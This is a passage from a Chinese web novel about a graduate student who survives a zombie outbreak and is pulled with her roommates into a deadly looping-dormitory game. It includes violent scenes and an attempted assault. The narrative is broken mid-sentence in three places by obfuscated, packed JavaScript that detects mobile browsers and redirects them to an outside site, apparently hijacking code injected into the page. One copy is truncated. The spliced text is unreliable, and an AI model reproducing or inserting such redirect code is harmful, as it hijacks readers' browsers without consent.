《变成丧尸后她杀穿无限流》 1. 正当防卫 不出意外,今天就是她的死期。 研究生开学第一天,易晗万念俱灰。 “砰、砰、砰……”打印店外,一只丧尸正以一种极其稳定的频率撞击玻璃门,没几下,门就裂开了一道蜘蛛网。 丧尸空洞的双眼中,倒映出打印店里的尸体和一地鲜血。 易晗和室友缩着身子,藏在打印机后。 本来都好好躲了半天了,都怪这该死的老板! 易晗又一次狠狠瞪了尸体一眼,她头疼得想吐,鼻子一直在流水,刚刚甚至呕出了一口血,把室友吓了个够呛。 等下丧尸进来,会不会先被老板的尸体吸引注意力?她们有机会逃出去吗? 易晗悄悄探头看一眼,外面确实只有一只丧尸,跑出去后可以转身跑进一墙之隔的超市,超市里如果都是丧尸……哈哈哈那就抱一个吧。 她自暴自弃地翻了个白眼,对室友比了根冲着门的食指,再用大拇指划了个向右转。 室友眼睛通红,点点头。 “砰、砰、砰……” “砰、砰——哐啷!” 门撞破了!丧尸张牙舞爪扑了进来,直直倒向地上的尸体! “跑!” 易晗拔腿就跑,两人顺利冲出了打印店。但很可惜,丧尸只用了不到一秒就发现地上的男人早已死透,立马转移方向,手脚并用往外爬,朝前一个大跳就抓住了易晗! “靠!”易晗被丧尸扑倒了! 要死了,真的要死了! 易晗一瞬间飙出了眼泪,死命用力也推不开丧尸,丧尸一口咬住了她的肩膀! 牙齿咬进肉里的痛感荒谬而真实,易晗肾上腺素飙升,怒火与悲愤交加,喉咙口又是一股鲜血涌出,分不清是求生欲还是报复欲驱使,刚杀过人的她凭着一股惯性和本能,猛抬头,狠狠一口咬了回去! 哎?丧尸的血竟然是甜的,而且冰冰凉凉的? 她的血、丧尸的血、她的眼泪,可能还有她的脑脊髓液……林林总总一起咽了下去,又冰又甜,口感顺滑,好好喝。 易晗死死咬住丧尸的脖子不松口,索性喝了个爽——反正也要死了。 但几秒后,一股截然不同的灼热在肩膀的伤口处轰然炸开,汹涌席卷四肢百骸,她身体骤然一挺! 她放开了丧尸,丧尸也放开了她跑向别处。 易晗依然僵在原地,体内有冰冷的寒流,体表有滚烫的巨浪,二者隔着皮肤激烈对冲。她的身体折成一个恐怖的角,她听到自己的心脏疯狂擂鼓又猝然停滞,感到浑身血液奔腾咆哮又瞬间凝固。三十秒后,易晗发出了一声完全不似人声的凄厉尖叫…… 不知过去了多久,天空下起了蒙蒙细雨,易晗垂在地上的手指动了动。 又过了片刻,阴云悄然裂开了一道豁口,豁口处的天空似乎比平日更脆、更薄,紧接着刺目到不可思议的光芒倾泻而下,比雨水更快地穿过空气,照耀在大地上。 易晗睁开眼睛,缓缓站了起来。 她看不见其他任何东西,只看见远处的空气中——只能用空气中来形容这个悬在半空的位置——出现了一道薄薄的裂痕,菱形状,像一道竖起的瞳孔,闪烁着鬼火般深紫色的幽光。 像是受到了某种感召,她迈开双腿,一步一步走近,跨进了那道裂痕之中。 同一时刻,许许多多地方都凭空出现了一道道闪着紫光的裂痕,一部分正疯狂追击人类的丧尸停下了动作,向不同的裂痕走去,和易晗一样消失了。 易晗相信自己在做噩梦。 梦里她还是一个平平无奇的大学生,和室友一起保研本校。今天是研究生开学,易晗在打印店里和室友一起打印一寸照,老板正在帮她们裁照片,然后丧尸就爆发了。 不是,这么突然的吗? “救命!救——” “啊啊啊啊啊啊啊!!!” 尖叫声平地炸起,易晗被吓得一个激灵。 狭窄的玻璃门外,一个学生被另一个学生压倒在地,然后是第二个、第三个……很多人在奔逃,推搡、碰撞、倒地而后被紧跟在后的人压住,发出惨叫。 室友愣在原地,好几秒后才说:“他在……啃吗?” 是的,易晗心想,是在啃。 没过片刻,倒在地上的人站了起来,他僵硬地抬起头,眼睛里只剩下浑浊的灰,青紫色的血痕从额头向下裂开,他朝打印店走过来了! 老板腿一软跌坐在地:“啊啊啊啊啊是丧尸!丧尸!” 易晗如梦初醒,第一反应是闪身躲开丧尸的视线,抬手一拍墙上的开关,关掉了打印店的灯。 打印店挤在学生超市旁边,店面很小,再一关灯,存在感弱到刚来的学生都不一定能发现。易晗疾步向后退,拉上室友躲在打印机后,老板也跟着一起缩,摇摇晃晃的丧尸被其他逃命的人吸引,暂时放过了这个地方。 老板紧紧盯着门外,牙关打颤:“丧尸、真的是丧尸……” “嘘——”室友用气音问,“你们还有信号吗?报警,不对,要叫军队啊!” “还有信号。”易晗说,她回过神后终于也开始发抖了,“你们看。” 微博和微信还能用,一刷就知道,全世界各地同一时间爆发了丧尸! 第一条视频是一个俯拍:十字路口,一辆正常行驶的轿车失控,撞上了前车的尾箱。车门打开,司机步履蹒跚,姿势怪异,扒住了旁边车辆的车窗,用头疯狂地撞击着玻璃。 镜头一转,马路边上惨叫四起,一只丧尸抓住了一个女生并咬住了她的脖子,他们身后,刚被咬伤的人站了起来,转身扑倒了另一个愣住的小孩…… 第二条国外的视频更令人绝望,是一段被转载的直播:画面中心,一个头上插着菜刀的丧尸被连发的子弹正中头颅,却只是踉跄了一下就继续向前,子弹像是打进了海绵。拍摄者的尖叫和枪声混成一片,最后以镜头翻滚、黑屏告终。 评论区……打不开评论区了,没过几分钟,微博瘫痪,微信也无法加载,各种APP全卡死了。 两个小时后,三人热汗冷汗交织,一片沉默。 信号还有,只是谁也联系不上。门外的丧尸不断增加,方才还如海啸般的尖叫渐渐平息,陷入更无情的死寂。 他们最初是不敢出声,后来是相顾无言。 老板嘴里窸窸窣窣,不知道在念叨什么,神经兮兮的。 又一只丧尸来到店门口,三人又往里躲了躲,身子贴得很紧——还好刚刚易晗壮着胆子把门锁上了。 待丧尸走远,易晗感到室友在不舒服地扭肩膀,人也往前凑,她回头一看,当即垮下脸:“啧!” 老板居然在揩油?! 什么时候了还有那个心情! 室友按了按易晗的肩膀,轻轻摇摇头,易晗嘴一扁,用力翻了个白眼。 后来,易晗每每回想起这个时刻,都不禁好奇自己的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033744|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情是有多嫌弃,嫌弃到让老板当场破防。 “……都他妈要死一块儿了还装什么装!” 老板忽然破口大骂,翻身压住室友,室友发出尖叫,易晗刚要起身,蹲太久的腿一麻,被老板怒目圆睁使劲一推—— 哐啷!易晗摔了个人仰马翻,后脑勺重重磕在桌角,她倒在地上捂着头蜷缩,疼得叫都叫不出来。 “救命——啊啊啊啊!!!” 室友被老板压倒在地,老板抬手抽了室友两巴掌,捂住室友的嘴低吼:“不想死就闭嘴!” 室友发不出声音,满心无助又倍感离谱,压在脸上的手令她窒息,她绝望地闭上眼……几秒钟后,有什么温热的液体洒在她的身上。 ……是血? 泪眼朦胧间,老板一脸不可置信,身子摇晃了几下便向一旁噗通摔倒,另一侧,易晗扶着桌子,手里拎着裁纸刀。 她一刀抹了老板的脖子。 老板的颈侧鲜血狂飙,很快就趴在地上没了声息,易晗松开手,染血的裁纸刀落在地上,发出清脆的声响。 她头晕目眩,冲室友宽慰一笑道:“呃咳,放心,正当防卫。” 室友的神志渐渐回笼,看着尸体下渐渐蔓延的血泊,她整个人愣在原地,只有脸上的泪落个不停。 易晗靠着桌子缓缓下滑,神色恍惚。 现在天色渐晚,店里黑漆漆一片。 她好饿,好晕,脑子已经不转了,头疼得快裂开,貌似有不是鼻涕的液体正往下流,听说如果是甜的,那就是脑脊髓液。 丧尸爆发了,她杀人了,哈哈哈她是开学了还是穿书了……意识轻飘飘的,像一缕烟,正从灵魂深处向上浮,她不由自主地向后倒,可是她不是靠着桌子吗,为什么还能向后躺下呢? 就在意识快要彻底消散,去往另一个维度前,一股更强悍、更不容拒绝的力量在体内从容苏醒,如同一只坚定的手,牢牢攥住了那缕即将飘散的意识——易晗深吸一口气睁开了眼睛。 身下是并不熟悉的床铺,新床单新被罩还不够柔软。明天才开学,今天新生报道,她吃好午饭来的寝室,整理好一大堆行李,又废了半天劲装好蚊帐和床帘,累得一躺下就睡着了。 易晗抬手搭在额头上,长舒一口气笑了,果然是做梦啊,她这梦情节也是够丰富。 她拿起手机看了眼时间,离晚饭时间还有一会儿,于是打开微博刷了几下,清醒了几分钟后拉开床帘:两个刚认识的室友都在,一个坐着玩手机,一个正在洗澡。 沈乔说:“你醒啦?” “嗯。”易晗爬下梯子,一眼看见书架上的泡面,本来准备当夜宵的,但她现在就想吃。 说吃就吃,易晗拆了泡面冲上热水,香味阵阵。另一个室友措姆央金走出浴室,惊呼道:“哇香死了!你晚饭就吃泡面啊?” “啊。”易晗应了声,梦里的饥饿感太真实,她就想吃点带热汤的碳水。 “那我们等下去食堂哦,你说一食堂二楼的好吃对吧?” “嗯,早点去吧,等下军训的都去吃饭了。” 易晗稀里呼噜吃泡面,两个从外校考来的室友彼此还不熟,沈乔等措姆央金换好衣服,两人一起往外走,沈乔:“嗯?……哎怎么搞的?” 措姆央金:“开不开了?卡住了?” “啊?”易晗放下叉子,手撑桌面站起来,人却陡然一怔。 慢着,她的肩膀为什么有点痛? 2. 游戏开始 哐啷哐啷哐啷—— “绝了拉不动……锁明明动了呀?” “是动了呀,外面卡住了吗?” 乓乓乓——“有人在外面吗?!” “……哎易晗,怎么联系宿管阿姨呀?” 易晗:“……” 寝室有独立卫浴,易晗关上门站在镜子前,脸色煞白冷汗涔涔。只见撩开的衣领下,她右肩头前后各有一排深紫色的咬痕。 “易晗!门开不开了!” “……哦。”她深呼吸几下,拉门而出。 沈乔问她:“话说那个,以前也是你室友的那个,叫何筱风?她什么时候来呀?” 易晗回答:“她昨天就来了,今天去找同学玩,要明天才回来。” “啊……”措姆央金扶额,苦笑,“好吧那不能指望她来开门了,宿管……” 咔哒,话音未落,门被人从外打开了。 开门的正是何筱风,易晗抬眼与她对视,两人都从对方颤抖的瞳孔中看到了一样的慌乱。 “哎你是何筱风吧?你提前……” 沈乔打招呼的话卡在了喉咙里,紧接着她和措姆央金双双倒吸一口冷气: 何筱风推开的门后不是宿舍走廊,赫然是另一间一模一样的寝室! 措姆央金:“……我们寝室是这样的布局吗?” “显然不是啊!”沈乔一脸见了鬼般的错愕,来回来回看,瞪着何筱风,“你你你,我眼花了吗?” 何筱风又看了眼门,一脸呆滞:“你没有……而且我明明打开的是卫生间的门。” 措姆央金不信邪,果断把门一甩,关上,等了几秒再打开,这回门开得很顺利,门后依然是本不该出现的何筱风和又一间寝室。 “……好吧不是打开方式有问题。”措姆央金默默退开几步,不说话了。 她们应该是见鬼了。 短暂的沉默过后,四个女生站在两间寝室的门当中,尝试捋一捋思路。 沈乔反复呼吸,语无伦次:“所所所以,我们开不开门一直在喊,你听到了才来开门,但是在你的视角,你是独自一人待在寝室里,听到浴室里有人在喊,所以才来开门看看……” 何筱风点头。 措姆央金看看新冒出来的寝室,再回头看看身后的寝室,“哈”了一声:“寝室复制黏贴还连一起了,鬼打墙啊。” 何筱风长叹一声靠着门框,身心俱疲:“这都怎么回事啊?” 易晗没说话,她垂眸打量着何筱风的衣服,何筱风穿了件深色的短袖,衣服下摆明显有一滩更深的痕迹。 那会是血吗?如果是,那易晗就放心了。 一起见鬼总比她一个人见鬼要好。 易晗镇定下来正要开口,措姆央金十分费解地看过来:“你怎么一点都不慌呢?” 易晗:“啊……” 如果你也在一天之内相继遭遇了丧尸爆发、亲手杀人、和丧尸互啃,一睁眼回到寝室发现又见新的鬼了,你也会反而奇迹般淡定下来的。 她没解释,伸出胳膊,另一只手握着措姆央金的手指往自己手腕上搁,说:“你感受一下我的脉搏吧,心跳两百了。” 措姆央金苦哈哈地一笑,沈乔无语地瞟了她们一眼,思考道:“难道是我们的空间扭曲了?平行宇宙什么的压上来了?” 显然,沈乔同学仍希望可以用稍微科学一点的理论来解释。 易晗知道没那么科学,带头往门外走:“我去看看。” 她与何筱风擦肩而过,何筱风似乎慌忙闪开了一步,易晗心中一沉,面不改色。 这一间莫名其妙冒出来的寝室,暂且叫它二号寝室,确实和一号寝室一模一样。四个上床下桌,四张木质椅子,窗帘,床帘,饮水机,行李箱,还有她们的衣服和包包,貌似也基本还原。 除了易晗的桌子,她桌上少了碗泡面。 为什么呢?易晗双手抱臂站在自己桌前,连书架上刚摆好的打印机都没漏,为什么会少了泡面呢? 沈乔和措姆央金也走了进来,何筱风在最后,沈乔四下环视一周,视线落在二号寝室的门上,她指着门问何筱风:“你进来之后,有再出去过吗?” 何筱风抿着唇,缓慢地摇摇头。 “那要是……”沈乔刚要去开门看看,身后冷不丁传来“咔滋咔滋”的一串响,吓得四个女生同时跳脚,惊叫出声。 “什么东西啊?!”措姆央金怒道。 是易晗的打印机,无人操作的情况下,打印机自己打印出来一张纸。 纸上写着: 【忽然被困在走不出去的寝室里,你们要如何是好呢?】 【这里有如下三个建议】 【全员存活48小时(B)】 【逃出宿舍楼(A)】 【找出不是同类的室友(S)】 【现在,游戏开始了哦~~】 易晗的目光在“不是同类”这几个字上短暂凝固了一下,而后若无其事地闭了闭眼。 措姆央金看完后,长长地“呃”了一声,试探地问:“呃……首先,这个S、A、B是什么意思?” 易晗正想说估计是不同等级,打印机比她更快地“咔滋咔滋”又吐出一张纸:【是不同的等级哦,完成不同的等级能获得不同的奖励哦!】 “你这打印机成精了啊……”措姆央金一脸叹服。 沈乔想了想,问道:“那是不是只要完成其中一个等级就好了?” “咔滋咔滋”——【是的呢。】 何筱风始终站得离三人两步远,问:“找出不是同类的室友,怎么找?说出来就行吗?” “咔滋咔滋”——【在你们完成任务A或任务B后,请说出你们的答案。】 何筱风悄悄看了易晗一眼,追问:“什么叫不是同类?” 易晗呼吸一紧。 咔滋咔滋——【字面意思哦。】 这个回答令何筱风和易晗都是一愣,措姆央金举手问道:“哎那个,需要全员都逃出宿舍楼吗?还是只要有人逃出去就行?” “咔滋咔滋”——【只要有人逃出去就行哦。】 沈乔眉头一皱,追问:“那剩下的人怎么办?” “咔滋咔滋”——【自己看着办呀。】 沈乔:“……” 易晗斜眼看着打印机,忽然开口:“你能不能一口气说明白了,这样好浪费我的纸。” 何筱风:“……” 沈乔:“……” 措姆央金:“……赞成。” “咔滋咔滋”——打印机默默地又吐出一张纸,一张干净的白纸。 “……”易晗耐心地把白纸重新塞回打印机,“我也有问题,如果最后我们一个等级也没能完成,会怎么样?” “咔滋咔滋”——【那你们会被永远困在这个走不出去的寝室里哦。】 易晗没露出任何意外的表情,扭头只见三位室友也是各有各的冷静。 措姆央金摊手,声音发颤:“行吧,我们看来是被拉进了什么奇怪的游戏副本,不知道是什么神仙干的好事。” 沈乔微微耸起的两肩一垮,转身接着去开门,门后也是不出所料,三号寝室出现了。 “哎呦我去能有多少间啊?无限的吗?”她大步向前,接着开门。 三号寝室、四号寝室、五号寝室…… 乍一看全都一模一样。 措姆央金仰天叹道:“没完了是吧?!” 话一出口,五号寝室的门就发出轰一声巨响,六号寝室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033745|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有什么东西在用力撞门! 不管门后面是什么,听这撞击的力道绝对不是什么正常人。 “跑跑跑!”措姆央金拉上沈乔转身就撤,易晗边跑边关上身后寝室的门,四人一路退回到二号寝室。 哐啷! 但身后依然传来了门被撞开的声响,那东西应该已经从六号寝室撞进了五号寝室。 打印机前,四人惊魂未定,你看我我看你。 “什么鬼啊?!”措姆央金压低声音。 沈乔嘘了一声,四人安静了好几分钟,至少没再听见撞击声。 沈乔轻手轻脚去二号寝室的门前听了听,回来说:“我们声音轻一点,好像不被听见就没事。” 好像是,五号寝室理论上离她们挺远。 易晗平复着呼吸,思绪乱成打结的线,把脑子缠得死紧,她一吐气开口道:“不行我还有问题,请问,字面意思上的不是同类,那有什么指定的类别规定吗?” “咔滋咔滋”——【逻辑自洽即可哦。】 易晗陷入思考的同时悄悄松了口气,何筱风上前一步,也还有问题:“最后那个被找出来的不是同类的人,她会怎么样?” “……”打印机没声了,不动了。 “嗯?”易晗眨眨眼,略显迟疑地拉开打印机存纸的抽屉,“……纸用完了。” 措姆央金“切”了一声:“那那你再放回去试试呢?” 易晗依言将用过的纸张重新塞回了打印机里,又问了一遍何筱风的问题:“最后那个不是同类的人,她会有什么下场吗?” 打印机还是不动,显得易晗有点傻兮兮。易晗翻了个白眼,吐槽道:“行吧,这货拒绝循环使用,真浪费。” 沈乔仰起头,长长地吸气,率先说道:“我们来理一理思路?” 见三人点头,沈乔继续:“首先,不知道为什么,我们好像真的进入了一个奇怪的游戏里,像那种电影啊小说里那样。” 这类作品数不胜数,四个女大学生看上去都不陌生——尤其是资深小说妹易晗。 “是的,具体为什么这个暂且不用深究,我觉得。”易晗不是觉得,她是深知。 “同意。”沈乔也点头,“嗯……那现在我们的目标是什么?活过48小时?这是最低的目标对吧?” 措姆央金说:“对,我看了,起码每个寝室都有饮水机,我们有好多个大半桶的水,不会缺水。吃的嘛,我妈给我买了盒脆脆鲨,应该有六条。” 易晗跟着说:“嗯,我还有大半碗泡面。” 沈乔和何筱风都没接话,估计是刚开学还没有存粮。 “反正就48小时,也饿不死?”措姆央金左右看看,看到脸色最为沉重的何筱风,她声音也颤抖,但安慰道,“别紧张啊,好歹我们四个都是年轻人,能跑能跳能逃命啊。” 何筱风却低声说:“不是活过48小时,是四个人要全员存活48小时,那就说明会有生命危险的,而且一个人都不能si……不能出事。” 她顿了顿,一双无神的眼睛再次看向易晗:“还有,既然明确说了有不是同类的室友,那请问,我们怎么保证这里的四个人都是人呢?” 易晗胸口一闷,没等她把冲到嘴边的话喷出来,楼下忽然响起阵阵尖叫与凌乱的脚步声,熟悉的感觉令暗流涌动的两人均是一愣,而后疾步走向阳台: 宿舍楼前的空地上,一个慌乱奔跑的女生摔倒在地,追赶她的人像野兽一样扑上去,张嘴咬住了她的脖颈,。女孩的手机飞了出去,屏幕在地上摔得粉碎。而她那撕心裂肺的惊叫,立刻被四周更为巨大的、排山倒海一般袭来的哭喊盖过。 易晗瞳孔一缩,表情空白地转头看向何筱风。 该说一句果然吗,丧尸还是来了。 3. 女寝连连看 惨烈的一幕清晰映在每个人失神的眼底,四人目睹了一个女生被另一个人扑倒、啃咬,发出哭叫,几秒后又慢慢站了起来,喉咙里发出嗬嗬的声响,神经质地转动着脖子和四肢。 而视线所及的其他地方,则是逃命的、被咬的、变成丧尸的……电影中的画面在眼前逐一上演。 措姆央金目瞪口呆直吸气,嘴一张就被易晗死死捂住了:“嘘——” 相当心有余悸的易晗几乎抱住措姆央金的头,拉着她往下蹲,何筱风也按着浑身僵硬的沈乔蹲下来,四个人透过阳台围栏下方的空隙往外看,易晗用气音说:“别被丧尸看到了!” 她可没信心再直面一次丧尸。 何筱风大气不敢喘:“先回去,关门!” 关上阳台的门,何筱风扯住窗帘,犹豫要不要拉上:“要拉上吗?万一丧尸爬上来我们还没看见怎么办?” 易晗呃了一声,沈乔觉得:“要么门锁上,窗帘拉一半吧?这么高真能发现我们吗?” 她们寝室可在五楼。 于是门窗锁死,窗帘拉了一大半。不必费心去听,短短几分钟后,尖叫与哭喊便如浪潮般扑面而来。 易晗呼吸急促,何筱风也是,两人交换的视线里全是问号感叹号。 沈乔一屁股坐下,拍拍额头,搓搓脸,打起精神:“很好,所以丧尸爆发了?……是为了让我们就算逃出宿舍楼也会被咬死吗?” 是这样吗?易晗觉得不合理,根据她看小说的经验,“逃出宿舍楼”的下一秒就应该完成了游戏任务,而不是还得接着打丧尸。 但也不敢赌,真的不敢赌。 “那就不出去了!”措姆央金坚定地选择任务B,“我们出不去,讲道理丧尸也进不来……先这样吧,刚刚我们说哪儿了?” 何筱风回过神:“哦我说,我们不能确定身边的人都是同类……” 可是,如果丧尸现在才爆发,那之前发生的一切又算什么? 沈乔便顺着说:“有道理哎!那我们先姑且测试一下?问点问题看看真假?” “啊?”何筱风一怔。 “嗯……你跟易晗本科四年都是室友对吧,那你们俩等会儿的,主要是我跟她,我们都是今天刚认识,怎么问呢?”沈乔抬起头想了几秒钟,“啊……你考研第几名进来的?” 措姆央金扶了扶额,“我知道你是第一名啦,我是少干计划……就少数民族骨干计划进来的啦,不占统招人数的!” 沈乔看了眼何筱风,一摊手,意思是我们俩应该都是真的。 易晗清咳两声:“咳咳,但你们总得面试,请问,我们院面试时负责英文提问的老师是哪位?请同时作答。” 沈乔:“一个老……头。” 措姆央金:“老男……人。” 两人几乎异口同声,负责英文对答的老师竟然是个小老头,易晗认真比了个大拇指,这一点不是能随便猜得到的。 沈乔:“到你们了。” 易晗坦坦荡荡对上何筱风的眼睛,说:“我救过你,对吗?” 何筱风咬紧了牙关,措姆央金先“啊?”了一声:“啊?什么意思?” “字面意思。”易晗并不想多说,于是堵死了沈乔和措姆央金继续问下去的可能,“对我们来说不是什么好的回忆就是了,你能回答我,我是在哪里救的你吗?” 何筱风微微颤抖地吐出一口气,半晌后似乎笑了笑:“打印店。” 易晗一点头,冲沈乔和措姆央金说:“是的没错,我和她都是真的。” 沈乔有些惊奇地看着易晗,而措姆央金根本不在意似的,潇洒表示:“我信你们啦,现在不用纠结这个吧,最后你们可以说我不是同类啊,我是少数民族。” “啊?”易晗差点笑了,“少数民族也是同类啊。” 措姆央金:“刚不是说逻辑自洽就行吗?” 少数民族同学措姆央金,个子高,头发长,小麦肤色五官立体,人好看又个性开朗。易晗感觉得到她明明很害怕但尽力想让大家别太害怕的心情——她也成功做到了,她们四个都放松了一丝丝。 一放松,肚子就饿了,晚饭时间早就过了,不止一个人的肚子咕咕叫。 “呃我还有大半碗泡面,就是凉了,先分着吃两口吧?”易晗指了指通向一号寝室的门,“然后我觉得我们最好还是回第一间寝室?……有厕所。” 回到一号寝室,何筱风第一时间也把窗帘拉上一大半,而后一声不响地换了件短袖,身后的沈乔正和措姆央金排队等着吃一口冷掉的泡面。 “还有一口,你吃吗?”易晗捧着泡面桶转过身。 何筱风点点头,说了声谢谢。 易晗最后把一些零碎的面条捞干净,又捧起来:“这个汤也不解渴,要么一起喝了吧,喝饱了再说?” 于是四人齐齐喝了个水饱,坐下来。沈乔第一个说:“我们是不是应该找找线索之类的?” 何筱风:“嗯……可是寝室里只有我们自己的东西。” “那我们也不能干坐48小时吧,虽然说目前好像没什么危险……除了好像有个怪物在楼里,楼下还有丧尸。”沈乔在想,“我觉得吧,如果楼下的丧尸能上来,我们是不是就能有办法下楼呢?” 措姆央金缩了缩脖子:“你是说学学丧尸是什么路线?姐姐您胆子有点大啊,我们安安安静苟两天可以吗?” “安安静静苟着,前提是要安全。”阅文无数的易晗放下二郎腿站起来,“我们先找点可以用来防身的东西,退一万步讲,万一要打怪呢?然后,也可以找一找房间里有没有多出来什么东西,万一真有线索呢?” 沈乔很赞成,补充一句:“动静小一点,还有个怪物呢。” 干坐着更令人恐慌,真动起来反而心里好受一些。 可是,说要找防身的家伙,刚返校还没开学的寝室连个扫把拖把都没有,最后只有何筱风手里有个水果刀,措姆央金开玩笑说:“得靠你了,一击致命的那种,拜托了。” 何筱风无语地把刀放在桌上,扭头见易晗站着不动,她走过去问:“你怎么了?” 易晗没马上说话,眉头紧皱像在思考,何筱风没打扰,正要转身,易晗回过头问:“我一直没问你,你本来应该9月1号,就是明天才回来的。那在你的视角,你到底是今天,就是8月31号提前回来了,还是明天,就是9月1号回的寝室?” 沈乔和措姆央金一时间没听明白,一头雾水地看过来,何筱风眼眸低垂,仿佛下定什么决心似的回答:“我是9月1号回来的。” “啊?” “什么意思?” 易晗让开一点,露出身后被她拉开的打印机,语气有些兴奋:“你们看,这间寝室的打印机里还有纸,但二号寝室的刚刚已经全用完了,说明两间寝室的时间并不同步。她确实是9月1号回的寝室,回的是隔壁二号寝室,所以……” 何筱风懂了:“所以,这里,一号寝室是8月31号,二号寝室是9月1号,一间寝室一天?” 易晗笑起来,指了指阳台:“你知道这意味着什么吗?” 何筱风一直死气沉沉的眼睛亮了一丝:“意味着这里还没有爆发丧尸?!” “卧槽!”措姆央金抬腿迈向阳台,沈乔也是,两人拉开窗帘,方才惊觉一号寝室确实很安静,没有二号寝室楼下的鬼哭狼嚎。 两人推开阳台门,探头往外看,沈乔还有些不确定:“是没有丧尸,真的没有吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033746|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >易晗拿起空的泡面桶,走上前往外一扔,泡面桶啪地一声落地,等了片刻,什么也没发生。 要是真有丧尸,这点动静足以分分钟引来好几个。 难怪二号寝室没有泡面呢,原来是被她扔出去了。 “真的哎!”沈乔大力一拍易晗,“太好了这下我们只用小声一点,防着那个怪物就行了!” 只想苟两天的措姆央金更开心:“是的是的,哎你怎么不早说?” 她问的是何筱风,这话只是一句感叹并没有任何恶意,但何筱风却被定住了,好几秒后才神色僵硬地回答:“我害怕,我害怕我不是你们的同类……我和你们时间不一样。” 从打开二号寝室的浴室门,踏入一号寝室开始,何筱风就处处感到违和。在她的记忆里,她8月30号返校,31号出去找同学玩,9月1号傍晚回的寝室,回来时寝室里只有易晗,两人一起出门打印照片,然后丧尸爆发…… 易晗怔住了,她张了张嘴,目光在措姆央金和沈乔身上扫了一下,欲言又止。 “哦……那你这样说也有道理,”措姆央金沉吟片刻,避重就轻说下去,“哇连时间都能不一样,会不会是什么高维生物干的啊?还是外星人降临地球了?” 沈乔表示:“随便,我只希望48小时后能放我出去。” 四人都安静下来,一个接一个地叹气。她们基本把东西都翻了一遍,除了易晗发现了时间线的不同,别的并没有任何线索。寝室有水,独立卫浴可以正常使用,也有电,连手机都能正常充电,只不过没有信号,显示的时间和日期也完全不对,凭感觉的话,现在应该晚上九点,快十点了。 她们百无聊赖又惴惴不安地熬时间,熬得一久肚子又饿了,太过安静的寝室里听的一清二楚。沈乔有些尴尬地问:“那个,晚上我们要睡觉吗?要安排人守夜吗?” “睡吧。”措姆央金掏出一盒脆脆鲨,一人分了一条,“带上床,实在饿得不行就吃。呃,我第一个守夜?” 准备休息前,沈乔锁死了阳台和宿舍的门,何筱风把水果刀攥在手里,易晗把充满电的手机放在床上,措姆央金把空调温度调高,风速调小,对着空调被吹了半天,她“呃”了一声:“呃,你们要上厕所吗?我好像要拉肚子。” 上完厕所,冲了水,措姆央金洗好手,一个转身的功夫,她忽然眉头一皱,怎么回事,为什么冲出来的水一直不停? 易晗已经上了床,她不准备睡,也不信其他人能睡得着,她一只手枕在脑后,有一个问题她一直不愿去想:沈乔和措姆央金算怎么回事? 易晗和何筱风已经度过了9月1日,她肩膀上的伤口、何筱风衣服上的痕迹就是证据,丧尸确实在9月1日傍晚爆发了。但沈乔和措姆央金却是从8月31日来的——关键是,连她自己一开始也以为9月1日的一切都是一场梦。 她自己又算怎么回事? 想不通,实在想不通,但易晗觉得,想通这一点或许就能想通到底“谁不是同类”了。 啧,她看过那么多小说电影电视剧,真碰上了不能半点用没有吧。 “砰……砰。” 易晗身子一抽,立马坐起来:“什么声音?” 此刻三人都坐在床上,何筱风的床离浴室的门最近,她凑得更近一些:“浴室?措姆央金不是拉肚子吗?” 易晗爬下床,跑到卫浴门前拍门:“措姆央金!怎么了吗?” 浴室里,从出水口源源不断喷涌而出的水已经将狭小的房间填成了水立方,措姆央金悬在水中央,飘扬的长发遮蔽了她的双眼,在她看不见的地方,掉落的头发缠住了她的手脚,也悄悄缠上了门的插销,并插上。 女生紧闭的嘴无力张开,吐出一串气泡。 4. 女寝连连看 浴室门被锁上了,何筱风和沈乔紧跟着下了床,毫无回应的措姆央金肯定在里面出事了。 易晗沉下脸,决定:“一起踹吧。” “一、二、三!” “砰!” 易晗刚想说谁力气那么大,居然一脚就踹开了,结果下一秒巨浪兜头而来,措姆央金的身体迎面砸上来倒进水里,顷刻之间,整个寝室水漫金山。 何筱风和沈乔都被冲得仰头摔倒,在水里晕头转向爬了半天也没起来。 水势过于凶猛,没几秒钟就淹没了易晗的大腿——易晗一米七出头,这个高度对不会游泳的人来说,人摔进水里的话站都站不起来! 眼见寝室被水淹没了近一半,易晗当场愣住,心里想捞人,身体却被飞速上升的水位震慑得失去反应,好在脑子在短短几秒后作出了最正确的选择:开门放水,让二号寝室分担。 她飞快开锁,门一开,大水即刻流进二号寝室,一号寝室水位迅速下降,何筱风和沈乔总算坐直了露出头。 易晗心还悬着:“措姆央金呢?!” 还有一个头朝下的背影浮在水面上若隐若现,易晗刚要去捞,何筱风发出一声尖啸:“别动!” 